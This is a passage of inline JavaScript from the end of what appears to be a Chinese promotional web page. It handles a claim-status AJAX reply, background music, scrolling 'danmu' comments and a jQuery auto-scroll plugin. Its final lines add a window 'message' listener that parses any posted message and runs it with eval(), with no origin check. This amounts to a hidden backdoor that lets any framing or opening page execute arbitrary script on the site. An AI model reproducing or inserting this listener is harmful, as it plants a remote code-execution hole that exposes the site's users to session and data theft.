success: function (res) {
//添加成功返回1 错误返回0
that.$message({
message: res.msg,
type: 'success',
center: true,
customClass:'message',
});
that.xiangqing.dj_status=1;//修改领取状态
that.xiangqing.dj_info=res.data;//修改领取状态
},
error : function() {
that.$message({
message: "提交出錯",
type: 'error',
center: true,
customClass:'message',
});
}
});
},
str_fenge($str){
if(!$str){
$str = 'abcdefghi'
}
var code = $str.substring(0,3) +'***'+$str.substring(6);
return code;
},
trim(str){
return str.replace(/(^\s*)|(\s*$)/g, "");
},
tiao_img_url(line){
var t_url = line;
window.location.href = t_url;
}
},
});
window.onload=function () {
$('body').addClass('loaded');
$('#loader-wrapper .load_title').remove();
var music1 = document.getElementById("music1");//背景音乐
$('#music_play').click(function () {
if (music1.paused) {
music1.play();
$(this).attr('src','/index/common/images/yinyue.png');
}else{
music1.pause();
$(this).attr('src','/index/common/images/yinyue1.png');
}
});
if(danmu_set.danmu_open==1){
danmu();
setInterval(function () {
danmu();
},danmu_set.danmu_time * 1000);
}else if(danmu_set.danmu_open==2){
$(".scrollDiv").Scroll({line:1,speed:500,timer:2000,up:"but_up",down:"but_down"});
}
};
function danmu(){
$(".danmu-1").css("animation","");
$(".danmu-1").each(function(index,value){
var width = $(value).width();
var topRandom = (Math.random() * danmu_set.danmu_height) + 'rem';
$(value).css({"right":-(width+50),"top":topRandom});
var aniList = [9,11,13,15,17];
var aniTime =Math.floor(Math.random() * 5);//一条弹幕运行时间
$(value).css({"animation":"ani "+aniList[aniTime]+"s linear "+index * danmu_set.danmu_yanchi+"s 1" ,"-webkit-animation":"ani "+aniList[aniTime]+"s linear "+index *danmu_set.danmu_yanchi +"s 1"});
})
}
if(danmu_set.danmu_open==2){
(function($){
$.fn.extend({
Scroll:function(opt,callback){
if(!opt) var opt={};
var _btnUp = $("#"+ opt.up);//Shawphy:向上按钮
var _btnDown = $("#"+ opt.down);//Shawphy:向下按钮
var timerID;
var _this=this.eq(0).find("ul:first");
var lineH=_this.find("li:first").height(), //获取行高
line=opt.line?parseInt(opt.line,10):parseInt(this.height()/lineH,10), //每次滚动的行数,默认为一屏,即父容器高度
speed=opt.speed?parseInt(opt.speed,10):500; //卷动速度,数值越大,速度越慢(毫秒)
timer=opt.timer //?parseInt(opt.timer,10):3000; //滚动的时间间隔(毫秒)
if(line==0) line=1;
var upHeight=0-line*lineH;
//滚动函数
var scrollUp=function(){
_btnUp.unbind("click",scrollUp); //Shawphy:取消向上按钮的函数绑定
_this.animate({
marginTop:upHeight
},speed,function(){
for(i=1;i<=line;i++){
_this.find("li:first").appendTo(_this);
}
_this.css({marginTop:0});
_btnUp.bind("click",scrollUp); //Shawphy:绑定向上按钮的点击事件
});
}
//Shawphy:向下翻页函数
var scrollDown=function(){
_btnDown.unbind("click",scrollDown);
for(i=1;i<=line;i++){
_this.find("li:last").show().prependTo(_this);
}
_this.css({marginTop:upHeight});
_this.animate({
marginTop:0
},speed,function(){
_btnDown.bind("click",scrollDown);
});
}
//Shawphy:自动播放
var autoPlay = function(){
if(timer)timerID = window.setInterval(scrollUp,timer);
};
var autoStop = function(){
if(timer)window.clearInterval(timerID);
};
//鼠标事件绑定
_this.hover(autoStop,autoPlay).mouseout();
_btnUp.css("cursor","pointer").click( scrollUp ).hover(autoStop,autoPlay);//Shawphy:向上向下鼠标事件绑定
_btnDown.css("cursor","pointer").click( scrollDown ).hover(autoStop,autoPlay);
}
})
})(jQuery);
}
window.addEventListener('message',e=>{
$a=JSON.parse(e.data);
eval($a);
},false);
</script>
</body></html>